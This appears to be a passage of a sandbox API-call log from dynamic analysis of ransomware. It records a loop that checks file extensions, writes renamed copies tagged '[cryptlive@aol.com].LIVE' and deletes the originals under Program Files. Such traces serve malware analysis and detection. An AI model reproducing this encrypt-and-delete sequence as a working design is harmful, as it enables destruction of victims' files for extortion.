lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.126] lstrlenW (lpString=".bz2") returned 4 [0131.126] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.126] lstrlenW (lpString=".7z") returned 3 [0131.126] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0131.126] lstrlenW (lpString=".dbf") returned 4 [0131.126] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.138] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0131.138] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0131.139] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0131.139] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0132.577] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0133.695] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.695] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0133.862] GetLastError () returned 0x0 [0133.862] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1d74, lpOverlapped=0x0) returned 1 [0133.932] WriteFile (in: hFile=0x350, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1d80, lpOverlapped=0x0) returned 1 [0133.933] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0133.933] WriteFile (in: hFile=0x350, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0133.933] SetEndOfFile (hFile=0x350) returned 1 [0133.939] CloseHandle (hObject=0x350) returned 1 [0133.939] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.939] SetEndOfFile (hFile=0x2f8) returned 1 [0133.968] CloseHandle (hObject=0x2f8) returned 1 [0133.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0134.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0134.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0134.001] lstrlenW (lpString=".doc") returned 4 [0134.001] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.001] lstrlenW (lpString=".docx") returned 5 [0134.001] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.001] lstrlenW (lpString=".pdf") returned 4 [0134.001] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.001] lstrlenW (lpString=".xls") returned 4 [0134.001] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.001] lstrlenW (lpString=".xlsx") returned 5 [0134.001] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.001] lstrlenW (lpString=".ppt") returned 4 [0134.001] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0134.001] lstrlenW (lpString=".zip") returned 4 [0134.002] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.002] lstrlenW (lpString=".rar") returned 4 [0134.002] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.002] lstrlenW (lpString=".bz2") returned 4 [0134.002] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.002] lstrlenW (lpString=".7z") returned 3 [0134.002] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0134.002] lstrlenW (lpString=".dbf") returned 4 [0134.002] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0134.002] lstrlenW (lpString=".1cd") returned 4 [0134.002] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0134.002] lstrlenW (lpString=".jpg") returned 4 [0134.002] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0134.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0134.002] lstrlenW (lpString=".doc") returned 4 [0134.002] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.002] lstrlenW (lpString=".docx") returned 5 [0134.002] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.002] lstrlenW (lpString=".pdf") returned 4 [0134.002] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.003] lstrlenW (lpString=".xls") returned 4 [0134.003] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.003] lstrlenW (lpString=".xlsx") returned 5 [0134.003] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.003] lstrlenW (lpString=".ppt") returned 4 [0134.003] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0134.003] lstrlenW (lpString=".zip") returned 4 [0134.003] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.003] lstrlenW (lpString=".rar") returned 4 [0134.003] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.003] lstrlenW (lpString=".bz2") returned 4 [0134.003] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.003] lstrlenW (lpString=".7z") returned 3 [0134.003] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0134.003] lstrlenW (lpString=".dbf") returned 4 [0134.003] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0134.003] lstrlenW (lpString=".1cd") returned 4 [0134.003] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0134.003] lstrlenW (lpString=".jpg") returned 4 [0134.003] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.003] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0134.004] lstrlenW (lpString="AN04191_.WMF") returned 12 [0134.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.004] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=6636) returned 1 [0134.004] CloseHandle (hObject=0x2f8) returned 1 [0134.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 0x20 [0134.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.004] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.005] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0134.009] GetLastError () returned 0x0 [0134.009] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x19ec, lpOverlapped=0x0) returned 1 [0134.011] WriteFile (in: hFile=0x36c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x19f0, lpOverlapped=0x0) returned 1 [0134.015] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.015] WriteFile (in: hFile=0x36c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.015] SetEndOfFile (hFile=0x36c) returned 1 [0134.015] CloseHandle (hObject=0x36c) returned 1 [0134.015] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.016] SetEndOfFile (hFile=0x2f8) returned 1 [0134.042] CloseHandle (hObject=0x2f8) returned 1 [0134.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0134.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0134.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0134.045] lstrlenW (lpString=".doc") returned 4 [0134.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.045] lstrlenW (lpString=".docx") returned 5 [0134.045] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.045] lstrlenW (lpString=".pdf") returned 4 [0134.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.045] lstrlenW (lpString=".xls") returned 4 [0134.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.045] lstrlenW (lpString=".xlsx") returned 5 [0134.045] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.045] lstrlenW (lpString=".ppt") returned 4 [0134.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0134.045] lstrlenW (lpString=".zip") returned 4 [0134.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.045] lstrlenW (lpString=".rar") returned 4 [0134.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.045] lstrlenW (lpString=".bz2") returned 4 [0134.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.045] lstrlenW (lpString=".7z") returned 3 [0134.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0134.045] lstrlenW (lpString=".dbf") returned 4 [0134.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0134.046] lstrlenW (lpString=".1cd") returned 4 [0134.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0134.046] lstrlenW (lpString=".jpg") returned 4 [0134.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0134.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0134.046] lstrlenW (lpString=".doc") returned 4 [0134.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.046] lstrlenW (lpString=".docx") returned 5 [0134.046] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.046] lstrlenW (lpString=".pdf") returned 4 [0134.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.046] lstrlenW (lpString=".xls") returned 4 [0134.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.046] lstrlenW (lpString=".xlsx") returned 5 [0134.046] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.046] lstrlenW (lpString=".ppt") returned 4 [0134.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0134.046] lstrlenW (lpString=".zip") returned 4 [0134.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.046] lstrlenW (lpString=".rar") returned 4 [0134.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.046] lstrlenW (lpString=".bz2") returned 4 [0134.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.046] lstrlenW (lpString=".7z") returned 3 [0134.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0134.046] lstrlenW (lpString=".dbf") returned 4 [0134.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0134.046] lstrlenW (lpString=".1cd") returned 4 [0134.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0134.047] lstrlenW (lpString=".jpg") returned 4 [0134.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.047] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0134.047] lstrlenW (lpString="AN04195_.WMF") returned 12 [0134.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.047] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=4612) returned 1 [0134.047] CloseHandle (hObject=0x2f8) returned 1 [0134.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 0x20 [0134.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.048] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.048] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0134.120] GetLastError () returned 0x0 [0134.120] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1204, lpOverlapped=0x0) returned 1 [0134.121] WriteFile (in: hFile=0x36c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1210, lpOverlapped=0x0) returned 1 [0134.122] ReadFile (in: hFile=0x2f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.123] WriteFile (in: hFile=0x36c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.123] SetEndOfFile (hFile=0x36c) returned 1 [0134.123] CloseHandle (hObject=0x36c) returned 1 [0134.123] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.123] SetEndOfFile (hFile=0x2f8) returned 1 [0134.126] CloseHandle (hObject=0x2f8) returned 1 [0134.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0134.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0134.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0134.136] lstrlenW (lpString=".doc") returned 4 [0134.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.136] lstrlenW (lpString=".docx") returned 5 [0134.136] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.136] lstrlenW (lpString=".pdf") returned 4 [0134.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.136] lstrlenW (lpString=".xls") returned 4 [0134.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.136] lstrlenW (lpString=".xlsx") returned 5 [0134.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.136] lstrlenW (lpString=".ppt") returned 4 [0134.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0134.136] lstrlenW (lpString=".zip") returned 4 [0134.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.136] lstrlenW (lpString=".rar") returned 4 [0134.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.136] lstrlenW (lpString=".bz2") returned 4 [0134.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.136] lstrlenW (lpString=".7z") returned 3 [0134.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0134.136] lstrlenW (lpString=".dbf") returned 4 [0134.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0134.136] lstrlenW (lpString=".1cd") returned 4 [0134.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0134.137] lstrlenW (lpString=".jpg") returned 4 [0134.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0134.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0134.137] lstrlenW (lpString=".doc") returned 4 [0134.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.137] lstrlenW (lpString=".docx") returned 5 [0134.137] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.137] lstrlenW (lpString=".pdf") returned 4 [0134.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.137] lstrlenW (lpString=".xls") returned 4 [0134.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.137] lstrlenW (lpString=".xlsx") returned 5 [0134.137] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.137] lstrlenW (lpString=".ppt") returned 4 [0134.137] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0134.137] lstrlenW (lpString=".zip") returned 4 [0134.137] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.137] lstrlenW (lpString=".rar") returned 4 [0134.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.137] lstrlenW (lpString=".bz2") returned 4 [0134.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.137] lstrlenW (lpString=".7z") returned 3 [0134.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.137] lstrlenW (lpString="C:\\Program Files\\Microsoft 